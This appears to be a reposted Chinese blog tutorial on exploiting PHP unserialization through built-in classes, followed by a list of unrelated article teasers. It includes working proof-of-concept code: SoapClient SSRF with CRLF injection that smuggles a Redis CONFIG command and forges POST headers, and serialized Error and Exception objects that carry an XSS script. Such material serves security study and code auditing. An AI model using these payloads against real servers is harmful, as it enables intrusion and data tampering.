php原生類,反序列化之PHP原生類的利用

正文

文章圍繞著一個問題,如果在代碼審計中有反序列化點,但是在原本的代碼中找不到pop鏈該如何?

N1CTF有一個無pop鏈的反序列化的題目,其中就是找到php內置類來進行反序列化。

基礎知識

首先還是來回顧一下序列化中的魔術方法,下面也將以此進行分類來進行研究。

當對象被創建的時候調用:__construct

當對象被銷毀的時候調用:__destruct

當對象被當作一個字符串使用時候調用(不僅僅是echo的時候,比如file_exists()判斷也會觸發):__toString

序列化對象之前就調用此方法(其返回需要是一個數組):__sleep

反序列化恢復對象之前就調用此方法:__wakeup 當調用對象中不存在的方法會自動調用此方法:__call

看一下當前php本身內置類有:

$classes = get_declared_classes();

foreach ($classes as $class) {

$methods = get_class_methods($class);

foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }

當然有些類不一定能夠進行反序列化,php中使用了zend_class_unserialize_deny來禁止一些類的反序列化,比如序列化DirectoryIterator的時候。

b5a2fa10700ce86057235c4deaf35cb8.png

當然這也和PHP版本也有一些關系,尋找的幾個類中,發現在php5.3以前都是沒有如此的限制。

bb60908bcd43de38da8f26fc4569cf27.png

__call

SoapClient

這個也算是目前被挖掘出來最好用的一個內置類,php5、7都存在此類。

SSRF

$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa')); $b = serialize($a); echo $b; $c = unserialize($b); $c->a();

478795c609038433afbf2e8a21452ae1.png

但是它僅限于http/https協議,用處不是很大。

6deead7a654db6faf10e5efbcdc41327.png

但是這里http頭部還存在crlf漏洞,可以再去drops回顧一下如何通過http來hack redis,Trying to hack Redis via HTTP requests

$poc = "CONFIG SET dir /root/";

$target = "http://example.com:5555/";

$b = new SoapClient(null,array('location' => $target,'uri'=>'hello^^'.$poc.'^^hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa); //Test $c = unserialize($aaa); $c->notexists();

753b4d87bc030bd2594cfbcd7d8911a1.png

對于如何發送POST的數據包,這里面還有一個坑,就是content-type的設置,當是可以看到上面的數據包,user_agent的頭部是在content-type的下面,所以我們可以通過SoapClient來設置user_agent,再使用crlf將content-type給往下擠。

來自wupco師傅的poc:

$target = "http://example.com:5555/";

$post_string = 'data=abc';

$headers = array( 'X-Forwarded-For: 127.0.0.1', 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string,'uri'=>'hello')); $aaa = serialize($b); $aaa = str_replace('^^',"\n\r",$aaa); echo urlencode($aaa);

0e8273a1356c43ac7caf8849c8c28b69.png

__toString

Error

適用于php7版本

XSS

開啟報錯的情況下:

$a = new Error("");

$b = serialize($a);

echo urlencode($b);

//Test

$t = urldecode('O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D'); $c = unserialize($t); echo $c;

a832a22a861abee788ff902919530ef5.png

Exception

適用于php5、7版本

XSS

開啟報錯的情況下:

$a = new Exception("");

$b = serialize($a);

echo urlencode($b);

//Test

$c = urldecode('O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D'); echo unserialize($c);

實例化任意類

可調用任意類的時候找__construct的時候一些可用的類:

案例:pornhub某漏洞

可獲取目錄

DirectoryIterator

XXE

SimpleXMLElement

創建空白文件

SQLite3

know it then do it

轉載自:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/536822.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/536822.shtml
英文地址,請注明出處:http://en.pswp.cn/news/536822.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Spectral Bounds for Sparse PCA: Exact and Greedy Algorithms[貪婪算法選特征]

目錄 概括Sparse PCA Formulation非常普遍的問題Optimality ConditionsEigenvalue Bounds算法代碼概括 這篇論文,不像以往的那些論文,構造優化問題,然后再求解這個問題(一般都是凸化)。而是,直接選擇某些特…

js php調用webservice,php調用web services兩種方法soap和curl

以http://www.webxml.com.cn/zh_cn/index.aspx一、使用soap調用//服務器支持soap擴展:/*Example 1:$client new SoapClient("http://fy.webxml.com.cn/webservices/EnglishChinese.asmx?wsdl");$parameters array("wordKey">"test");//中英…

JS基礎-3

1.for in 對象中有多少組鍵值對,我們的FOR IN 循環就遍歷多少次(不一定) 每一次循環KEY這個變量存儲的都是當前循環這組鍵對值的屬性名 1、KEY存儲的值都是字符串格式的(不管屬性名是否為數字) 2、在FOR IN 循環遍歷的時候,大部分瀏覽器都是先把對象中的鍵值對進行排…

Python常用的幾個函數

print()函數:用于打印輸出信息到控制臺。 input()函數:用于從控制臺獲取用戶輸入。 len()函數:用于獲取字符串、列表、元組、字典等對象的長度。 range()函數:用于生成一個整數序列,常用于循環中。 type()函數&…

數據結構——常見的定義

問題答案Ο標記法(大Ο標記法)是一種用于衡量算法時間復雜度的表示方法。它描述了算法在最壞情況下的運行時間增長率。當我們使用Ο標記法時,我們關注的是算法的上界,即算法的運行時間不會超過Ο(f(n)),其中 f(n) 是輸…

TikTok與環保:短視頻如何引領可持續生活方式?

在數字時代,社交媒體平臺扮演著塑造文化和價值觀的關鍵角色。而TikTok,作為一款全球短視頻平臺,不僅塑造著用戶的娛樂方式,還在悄然地引領著可持續生活方式的潮流。本文將深入探討TikTok與環保之間的關系,分析短視頻如…

Spring源碼分析---Bean 的生命周期 03

來源:Spring 3. Bean 的生命周期 自定義一個 SpringBoot 的主啟動類: SpringBootApplication public class A03Application {public static void main(String[] args) {ConfigurableApplicationContext context SpringApplication.run(A03Applicatio…

go-carbon v2.3.0 圣誕特別版發布,輕量級、語義化、對開發者友好的 Golang 時間處理庫

go-carbon v2.3.0 圣誕節特別版發布,這應該是 2023 年的最后一個版本,祝大家圣誕節快樂! carbon 是一個輕量級、語義化、對開發者友好的 golang 時間處理庫,支持鏈式調用。 目前已被 awesome-go 收錄,如果您覺得不錯…

pytorch 實現 Restormer 主要模塊(多頭通道自注意力機制和門控制結構)

前面的博文讀論文:Restormer: Efficient Transformer for High-Resolution Image Restoration 介紹了 Restormer 網絡結構的網絡技術特點,本文用 pytorch 實現其中的主要網絡結構模塊。 1. MDTA(Multi-Dconv Head Transposed Attention:多頭…

選擇免費的SSL證書,還是付費的?

作為一個互聯網文章作者,我會根據具體的使用場景和需求來選擇SSL證書。通常情況下,如果是用于個人網站或者小型項目,我會傾向于選擇免費的SSL證書,比如 JoySSL提供的免費證書。這樣可以在不增加額外費用的情況下為網站提供安全的加…

靜態HTTP與CDN:如何優化內容分發

大家好,今天我們來聊聊靜態HTTP和CDN這對“黃金搭檔”。沒錯,就是那個讓你的網站內容像閃電一樣傳遍全球的CDN! 首先,我們來了解一下靜態HTTP。它就像是那個老實可靠的郵差,每次都按時按點地把你的內容送到用戶手中。…

第二十一章博客

計算機應用實現了多臺計算機間的互聯,使得它們彼此之間能夠進行數據交流。網絡應用程序就是在已連接的不同計算機上運行的程序,這些程序借助于網絡協議,相互之間可以交換數據。編寫網絡應用程序前,首先必須明確所要使用的網絡協議…

Node.js中處理特殊字符的文件名,安全穩妥的方案

在Node.js中,通過path模塊提供的basename方法,我們可以輕松地從文件路徑中提取文件名。然而,這個方法在處理特殊字符時存在一些問題,因為它會對這些字符進行轉義,導致在不同操作系統上的兼容性問題。在這篇文章中&…

C++ boost planner_cond_.wait(lock) 報錯1225

1.如下程序段 boost unique_lock doesn’t own the mutex: Operation not permitted 問題: 其中makePlan是一個線程。這里的unlock導致錯誤這個報錯 boost unique_lock doesn’t own the mutex: Operation not permitted bool navigation::makePlan(){ //cv::named…

MySQL中如何快速定位占用CPU過高的SQL

作為DBA工作中都會遇到過數據庫服務器CPU飆升的場景,我們該如何快速定位問題?又該如何快速找到具體是哪個SQL引發的CPU異常呢?下面我們說兩個方法。聊聊MySQL中如何快速定位占用CPU過高的SQL。 技術人人都可以磨煉,但處理問題的思…

華為OD機試 - 多段線數據壓縮(Java JS Python C)

在線OJ刷題 題目詳情 - 多段線數據壓縮 - Hydro 題目描述 下圖中,每個方塊代表一個像素,每個像素用其行號和列號表示。 為簡化處理,多線段的走向只能是水平、豎直、斜向45度。 上圖中的多線段可以用下面的坐標串表示:(2,8),(3,7),(3,6),(3,5),(4,4),(5,3),(6,2),(7,3),(…

042、序列模型

之——從時序中獲取信息 目錄 之——從時序中獲取信息 雜談 正文 1.建模 2.方案A-馬爾科夫假設 3.方案B-潛變量模型 4.簡單實現 雜談 很多連續的數據都是有前后的時間相關性的,并不是每一個單獨的數據是隨機出現的。在時序中會蘊含一些空間結構的變化信息、…

【數據科學】一文徹底理清數據、數據類型、數據結構的概念

一、什么是數據? 入門數據學科,首先第一步要認識數據什么,可能大多數人都無法對數據做一個準確的定義,在我們印象中,提到數據首先頭腦浮現的是數據表格,是一堆堆數字,那么數據就是數字嗎&#x…

SpringBoot 2.0 中默認 HikariCP 數據庫連接池原理解析

作為后臺服務開發,在日常工作中我們天天都在跟數據庫打交道,一直在進行各種CRUD操作,都會使用到數據庫連接池。按照發展歷程,業界知名的數據庫連接池有以下幾種:c3p0、DBCP、Tomcat JDBC Connection Pool、Druid 等&am…

阿里云服務器記錄

阿里云服務器記錄 CentOS 8.4 64位 SCC版 CentOS 7.9 64位 SCC版 CentOS 7.9 64位 CentOS 7.9 64位 UEFI版 Alibaba Cloud Linux Anolis OS CentOS Windows Server Ubuntu Debian Fedora OpenSUSE Rocky Linux CentOS Stream AlmaLinux 阿里云服務器有個scc版,這個…